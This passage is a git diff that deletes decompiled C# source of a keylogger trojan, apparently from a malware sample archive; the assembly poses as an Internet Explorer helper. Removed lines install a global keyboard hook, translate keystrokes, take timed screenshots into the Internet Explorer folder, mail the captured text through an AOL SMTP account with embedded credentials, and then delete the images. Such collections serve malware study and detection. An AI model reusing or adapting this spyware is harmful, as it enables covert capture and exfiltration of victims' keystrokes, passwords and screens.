- message.BodyFormat = MailFormat.Html; - message.Body = this.TextBox1.Text; - message.Fields.Add((object) "http://schemas.microsoft.com/cdo/configuration/smtpserver", (object) "smtp.aol.com"); - message.Fields.Add((object) "http://schemas.microsoft.com/cdo/configuration/smtpserverport", (object) 587); - message.Fields.Add((object) "http://schemas.microsoft.com/cdo/configuration/sendusing", (object) 2); - message.Fields.Add((object) "http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", (object) 1); - message.Fields.Add((object) "http://schemas.microsoft.com/cdo/configuration/sendusername", (object) "itester59@aol.com"); - message.Fields.Add((object) "http://schemas.microsoft.com/cdo/configuration/sendpassword", (object) (this.Label12.Text + this.Label13.Text + this.Label14.Text + this.Label15.Text + this.Label16.Text + this.Label17.Text)); - SmtpMail.Send(message); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\1.jpg")) - Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\1.jpg"); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\2.jpg")) - Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\2.jpg"); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\3.jpg")) - Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\3.jpg"); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\4.jpg")) - Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\4.jpg"); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\5.jpg")) - Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\5.jpg"); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\6.jpg")) - Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\6.jpg"); - if (MyProject.Computer.FileSystem.FileExists("C:\\Program Files\\Internet Explorer\\7.jpg")) - Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\7.jpg"); - this.TextBox1.Text = ""; - if (Operators.CompareString(this.Label9.Text, "0", false) == 0) - { - this.Label9.Text = this.Label11.Text; - this.Timer1.Enabled = true; - } - this.K.CreateHook(); - } - - private void TextBox1_TextChanged(object sender, EventArgs e) - { - } - - private void GroupBox1_Enter(object sender, EventArgs e) - { - } - - private void Button1_Click(object sender, EventArgs e) - { - } - - private void Button12_Click(object sender, EventArgs e) => this.gonderseneamq(); - - private void Button19_Click(object sender, EventArgs e) - { - } - - private void Timer1_Tick(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - if (Operators.CompareString(this.Label9.Text, "0", false) != 0) - goto label_3; -label_2: - num3 = 3; - this.gonderseneamq(); - goto label_5; -label_3: - num3 = 5; -label_4: - num3 = 6; - this.Label9.Text = Conversions.ToString(Conversions.ToDouble(this.Label9.Text) - (double) this.a); -label_5: - num3 = 8; - if (Operators.CompareString(this.Label9.Text, "800", false) != 0) - goto label_12; -label_6: - ProjectData.ClearProjectError(); - num1 = -3; -label_7: - num3 = 10; - Form1.keybd_event((byte) 44, (byte) 0, 0, 0); -label_8: - ProjectData.ClearProjectError(); - num1 = -4; -label_9: - num3 = 12; - Thread.Sleep(0); -label_10: - ProjectData.ClearProjectError(); - num1 = -5; -label_11: - num3 = 14; - this.SaveScreen("C:\\Program Files\\Internet Explorer\\1.jpg"); - goto label_13; -label_12: - num3 = 16; -label_13: - num3 = 18; - if (Operators.CompareString(this.Label9.Text, "700", false) != 0) - goto label_21; -label_14: - ProjectData.ClearProjectError(); - num1 = -6; -label_15: - num3 = 20; - Form1.keybd_event((byte) 44, (byte) 0, 0, 0); -label_16: - ProjectData.ClearProjectError(); - num1 = -7; -label_17: - num3 = 22; - Thread.Sleep(0); -label_18: - ProjectData.ClearProjectError(); - num1 = -8; -label_19: - num3 = 24; - this.SaveScreen2("C:\\Program Files\\Internet Explorer\\2.jpg"); -label_20: - ProjectData.ClearProjectError(); - num1 = -9; - goto label_22; -label_21: - num3 = 27; -label_22: - num3 = 29; - if (Operators.CompareString(this.Label9.Text, "600", false) != 0) - goto label_30; -label_23: - ProjectData.ClearProjectError(); - num1 = -10; -label_24: - num3 = 31; - Form1.keybd_event((byte) 44, (byte) 0, 0, 0); -label_25: - ProjectData.ClearProjectError(); - num1 = -11; -label_26: - num3 = 33; - Thread.Sleep(0); -label_27: - ProjectData.ClearProjectError(); - num1 = -12; -label_28: - num3 = 35; - this.SaveScreen3("C:\\Program Files\\Internet Explorer\\3.jpg"); -label_29: - ProjectData.ClearProjectError(); - num1 = -13; - goto label_31; -label_30: - num3 = 38; -label_31: - num3 = 40; - if (Operators.CompareString(this.Label9.Text, "500", false) != 0) - goto label_39; -label_32: - ProjectData.ClearProjectError(); - num1 = -14; -label_33: - num3 = 42; - Form1.keybd_event((byte) 44, (byte) 0, 0, 0); -label_34: - ProjectData.ClearProjectError(); - num1 = -15; -label_35: - num3 = 44; - Thread.Sleep(0); -label_36: - ProjectData.ClearProjectError(); - num1 = -16; -label_37: - num3 = 46; - this.SaveScreen4("C:\\Program Files\\Internet Explorer\\4.jpg"); -label_38: - ProjectData.ClearProjectError(); - num1 = -17; - goto label_40; -label_39: - num3 = 49; -label_40: - num3 = 51; - if (Operators.CompareString(this.Label9.Text, "400", false) != 0) - goto label_47; -label_41: - ProjectData.ClearProjectError(); - num1 = -18; -label_42: - num3 = 53; - Form1.keybd_event((byte) 44, (byte) 0, 0, 0); -label_43: - ProjectData.ClearProjectError(); - num1 = -19; -label_44: - num3 = 55; - Thread.Sleep(0); -label_45: - ProjectData.ClearProjectError(); - num1 = -20; -label_46: - num3 = 57; - this.SaveScreen5("C:\\Program Files\\Internet Explorer\\5.jpg"); - goto label_48; -label_47: - num3 = 59; -label_48: - num3 = 61; - if (Operators.CompareString(this.Label9.Text, "300", false) != 0) - goto label_55; -label_49: - ProjectData.ClearProjectError(); - num1 = -21; -label_50: - num3 = 63; - Form1.keybd_event((byte) 44, (byte) 0, 0, 0); -label_51: - ProjectData.ClearProjectError(); - num1 = -22; -label_52: - num3 = 65; - Thread.Sleep(0); -label_53: - ProjectData.ClearProjectError(); - num1 = -23; -label_54: - num3 = 67; - this.SaveScreen6("C:\\Program Files\\Internet Explorer\\6.jpg"); - goto label_56; -label_55: - num3 = 69; -label_56: - num3 = 71; - if (Operators.CompareString(this.Label9.Text, "150", false) != 0) - goto label_63; -label_57: - ProjectData.ClearProjectError(); - num1 = -24; -label_58: - num3 = 73; - Form1.keybd_event((byte) 44, (byte) 0, 0, 0); -label_59: - ProjectData.ClearProjectError(); - num1 = -25; -label_60: - num3 = 75; - Thread.Sleep(0); -label_61: - ProjectData.ClearProjectError(); - num1 = -26; -label_62: - num3 = 77; - this.SaveScreen7("C:\\Program Files\\Internet Explorer\\7.jpg"); - goto label_70; -label_63: - goto label_70; -label_65: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - case 7: - case 8: - goto label_5; - case 5: - goto label_3; - case 6: - goto label_4; - case 9: - goto label_6; - case 10: - goto label_7; - case 11: - goto label_8; - case 12: - goto label_9; - case 13: - goto label_10; - case 14: - goto label_11; - case 15: - case 17: - case 18: - goto label_13; - case 16: - goto label_12; - case 19: - goto label_14; - case 20: - goto label_15; - case 21: - goto label_16; - case 22: - goto label_17; - case 23: - goto label_18; - case 24: - goto label_19; - case 25: - goto label_20; - case 26: - case 28: - case 29: - goto label_22; - case 27: - goto label_21; - case 30: - goto label_23; - case 31: - goto label_24; - case 32: - goto label_25; - case 33: - goto label_26; - case 34: - goto label_27; - case 35: - goto label_28; - case 36: - goto label_29; - case 37: - case 39: - case 40: - goto label_31; - case 38: - goto label_30; - case 41: - goto label_32; - case 42: - goto label_33; - case 43: - goto label_34; - case 44: - goto label_35; - case 45: - goto label_36; - case 46: - goto label_37; - case 47: - goto label_38; - case 48: - case 50: - case 51: - goto label_40; - case 49: - goto label_39; - case 52: - goto label_41; - case 53: - goto label_42; - case 54: - goto label_43; - case 55: - goto label_44; - case 56: - goto label_45; - case 57: - goto label_46; - case 58: - case 60: - case 61: - goto label_48; - case 59: - goto label_47; - case 62: - goto label_49; - case 63: - goto label_50; - case 64: - goto label_51; - case 65: - goto label_52; - case 66: - goto label_53; - case 67: - goto label_54; - case 68: - case 70: - case 71: - goto label_56; - case 69: - goto label_55; - case 72: - goto label_57; - case 73: - goto label_58; - case 74: - goto label_59; - case 75: - goto label_60; - case 76: - goto label_61; - case 77: - goto label_62; - case 78: - case 80: - case 81: - goto label_70; - case 79: - goto label_63; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_65; - } - throw ProjectData.CreateProjectError(-2146828237); -label_70: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void yazdır() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Keyboard.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Keyboard.cs deleted file mode 100644 index 2bd55641..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Keyboard.cs +++ /dev/null @@ -1,343 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ToolsHelper.Keyboard -// Assembly: InternetExplorerToolsHelper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 16EA3E46-9F67-4C50-915F-D62CEFEE196A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using ToolsHelper.My; - -namespace ToolsHelper -{ - public class Keyboard - { - private static int Key; - private static Keyboard.KDel KHD; - - [DebuggerNonUserCode] - public Keyboard() - { - } - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int Hook, - Keyboard.KDel KeyDelegate, - int HMod, - int ThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int Hook, - int nCode, - int wParam, - ref Keyboard.KeyStructure lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int Hook); - - public static event Keyboard.DownEventHandler Down; - - public static event Keyboard.UpEventHandler Up; - - public void CreateHook() - { - Keyboard.KHD = new Keyboard.KDel(this.Proc); - Keyboard.Key = Keyboard.SetWindowsHookEx(13, Keyboard.KHD, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private int Proc(int Code, int wParam, ref Keyboard.KeyStructure lParam) - { - if (Code == 0) - { - switch (wParam) - { - case 256: - case 260: - Keyboard.DownEventHandler downEvent = Keyboard.DownEvent; - if (downEvent != null) - { - downEvent(this.Feed((Keys) lParam.Code)); - break; - } - break; - case 257: - case 261: - Keyboard.UpEventHandler upEvent = Keyboard.UpEvent; - if (upEvent != null) - { - upEvent(this.Feed((Keys) lParam.Code)); - break; - } - break; - } - } - return Keyboard.CallNextHookEx(Keyboard.Key, Code, wParam, ref lParam); - } - - public void DiposeHook() - { - Keyboard.UnhookWindowsHookEx(Keyboard.Key); - // ISSUE: explicit finalizer call - this.Finalize(); - } - - private string Feed(Keys e) - { - switch (e) - { - case Keys.Back: - return MyProject.Forms.Form1.Label7.Text + " [SİL] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Tab: - return MyProject.Forms.Form1.Label7.Text + " [TAB] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Return: - return MyProject.Forms.Form1.Label7.Text + " [ENTER] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Capital: - return MyProject.Forms.Form1.Label7.Text + " [CAPSLOOK] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Escape: - return MyProject.Forms.Form1.Label7.Text + " [ESC] " + MyProject.Forms.Form1.Label8.Text; - case Keys.Space: - return " "; - case Keys.End: - return ""; - case Keys.Home: - return ""; - case Keys.Left: - return ""; - case Keys.Up: - return ""; - case Keys.Right: - return ""; - case Keys.Down: - return ""; - case Keys.Snapshot: - return ""; - case Keys.D0: - case Keys.D1: - case Keys.D2: - case Keys.D3: - case Keys.D4: - case Keys.D5: - case Keys.D6: - case Keys.D7: - case Keys.D8: - case Keys.D9: - if ((Control.ModifierKeys & Keys.Shift) == Keys.None) - return e.ToString().Replace("D", (string) null); - string Left1 = e.ToString(); - if (Operators.CompareString(Left1, "D1", false) == 0) - return "!"; - if (Operators.CompareString(Left1, "D2", false) == 0) - return "@"; - if (Operators.CompareString(Left1, "D3", false) == 0) - return "#"; - if (Operators.CompareString(Left1, "D4", false) == 0) - return "$"; - if (Operators.CompareString(Left1, "D5", false) == 0) - return "%"; - if (Operators.CompareString(Left1, "D6", false) == 0) - return "^"; - if (Operators.CompareString(Left1, "D7", false) == 0) - return "&"; - if (Operators.CompareString(Left1, "D8", false) == 0) - return "*"; - if (Operators.CompareString(Left1, "D9", false) == 0) - return "("; - if (Operators.CompareString(Left1, "D0", false) == 0) - return ")"; - break; - case Keys.A: - case Keys.B: - case Keys.C: - case Keys.D: - case Keys.E: - case Keys.F: - case Keys.G: - case Keys.H: - case Keys.I: - case Keys.J: - case Keys.K: - case Keys.L: - case Keys.M: - case Keys.N: - case Keys.O: - case Keys.P: - case Keys.Q: - case Keys.R: - case Keys.S: - case Keys.T: - case Keys.U: - case Keys.V: - case Keys.W: - case Keys.X: - case Keys.Y: - case Keys.Z: - return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? e.ToString() : e.ToString().ToLower(); - case Keys.LWin: - return ""; - case Keys.RWin: - return ""; - case Keys.Apps: - return ""; - case Keys.NumPad0: - case Keys.NumPad1: - case Keys.NumPad2: - case Keys.NumPad3: - case Keys.NumPad4: - case Keys.NumPad5: - case Keys.NumPad6: - case Keys.NumPad7: - case Keys.NumPad8: - case Keys.NumPad9: - return e.ToString().Replace("NumPad", (string) null); - case Keys.Multiply: - case Keys.Add: - case Keys.Separator: - case Keys.Subtract: - case Keys.Decimal: - case Keys.Divide: - string Left2 = e.ToString(); - if (Operators.CompareString(Left2, "Divide", false) == 0) - return "/"; - if (Operators.CompareString(Left2, "Multiply", false) == 0) - return "*"; - if (Operators.CompareString(Left2, "Subtract", false) == 0) - return "-"; - if (Operators.CompareString(Left2, "Add", false) == 0) - return "+"; - if (Operators.CompareString(Left2, "Decimal", false) == 0) - return "."; - break; - case Keys.LShiftKey: - return ""; - case Keys.RShiftKey: - return ""; - case Keys.LControlKey: - return ""; - case Keys.RControlKey: - return ""; - case Keys.LMenu: - return ""; - case Keys.RMenu: - return ""; - case Keys.OemSemicolon: - case Keys.Oemplus: - case Keys.Oemcomma: - case Keys.OemMinus: - case Keys.OemPeriod: - case Keys.Oemtilde: - case Keys.A | Keys.F17: - case Keys.B | Keys.F17: - case Keys.C | Keys.F17: - case Keys.D | Keys.F17: - case Keys.E | Keys.F17: - case Keys.F | Keys.F17: - case Keys.G | Keys.F17: - case Keys.H | Keys.F17: - case Keys.I | Keys.F17: - case Keys.J | Keys.F17: - case Keys.K | Keys.F17: - case Keys.L | Keys.F17: - case Keys.M | Keys.F17: - case Keys.N | Keys.F17: - case Keys.O | Keys.F17: - case Keys.P | Keys.F17: - case Keys.Q | Keys.F17: - case Keys.R | Keys.F17: - case Keys.S | Keys.F17: - case Keys.T | Keys.F17: - case Keys.U | Keys.F17: - case Keys.V | Keys.F17: - case Keys.W | Keys.F17: - case Keys.X | Keys.F17: - case Keys.Y | Keys.F17: - case Keys.Z | Keys.F17: - case Keys.OemOpenBrackets: - case Keys.OemPipe: - case Keys.OemCloseBrackets: - case Keys.OemQuotes: - if ((Control.ModifierKeys & Keys.Shift) != Keys.None) - { - string Left3 = e.ToString(); - if (Operators.CompareString(Left3, "OemMinus", false) == 0) - return "_"; - if (Operators.CompareString(Left3, "Oemplus", false) == 0) - return "+"; - if (Operators.CompareString(Left3, "OemOpenBrackets", false) == 0) - return "{"; - if (Operators.CompareString(Left3, "Oem6", false) == 0) - return "}"; - if (Operators.CompareString(Left3, "Oem5", false) == 0) - return "|"; - if (Operators.CompareString(Left3, "Oem1", false) == 0) - return ":"; - if (Operators.CompareString(Left3, "Oem7", false) == 0) - return "\""; - if (Operators.CompareString(Left3, "Oemcomma", false) == 0) - return ";"; - if (Operators.CompareString(Left3, "OemPeriod", false) == 0) - return ":"; - if (Operators.CompareString(Left3, "OemQuestion", false) == 0) - return "?"; - if (Operators.CompareString(Left3, "Oemtilde", false) == 0) - return "~"; - break; - } - string Left4 = e.ToString(); - if (Operators.CompareString(Left4, "OemMinus", false) == 0) - return "-"; - if (Operators.CompareString(Left4, "Oemplus", false) == 0) - return "="; - if (Operators.CompareString(Left4, "OemOpenBrackets", false) == 0) - return "ğ"; - if (Operators.CompareString(Left4, "Oem6", false) == 0) - return "ü"; - if (Operators.CompareString(Left4, "Oem5", false) == 0) - return "ç"; - if (Operators.CompareString(Left4, "Oem4", false) == 0) - return "ğ"; - if (Operators.CompareString(Left4, "Return", false) == 0) - return "[ENTER]"; - if (Operators.CompareString(Left4, "Oem1", false) == 0) - return "ş"; - if (Operators.CompareString(Left4, "Oem2", false) == 0) - return "ö"; - if (Operators.CompareString(Left4, "Oem7", false) == 0) - return "i"; - if (Operators.CompareString(Left4, "Oemcomma", false) == 0) - return ","; - if (Operators.CompareString(Left4, "OemPeriod", false) == 0) - return "."; - if (Operators.CompareString(Left4, "OemQuestion", false) == 0) - return "/"; - if (Operators.CompareString(Left4, "Oemtilde", false) == 0) - return "`"; - break; - case Keys.OemQuestion: - return "ö"; - default: - return "[" + e.ToString() + "] "; - } - return (string) null; - } - - private delegate int KDel(int nCode, int wParam, ref Keyboard.KeyStructure lParam); - - public delegate void DownEventHandler(string Key); - - public delegate void UpEventHandler(string Key); - - private struct KeyStructure - { - public int Code; - public int ScanCode; - public int Flags; - public int Time; - public int ExtraInfo; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyApplication.cs deleted file mode 100644 index 29469967..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ToolsHelper.My.MyApplication -// Assembly: InternetExplorerToolsHelper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 16EA3E46-9F67-4C50-915F-D62CEFEE196A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace ToolsHelper.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyComputer.cs deleted file mode 100644 index f6088662..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ToolsHelper.My.MyComputer -// Assembly: InternetExplorerToolsHelper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 16EA3E46-9F67-4C50-915F-D62CEFEE196A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace ToolsHelper.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyProject.cs deleted file mode 100644 index 9fed6a04..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ToolsHelper.My.MyProject -// Assembly: InternetExplorerToolsHelper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 16EA3E46-9F67-4C50-915F-D62CEFEE196A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace ToolsHelper.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - 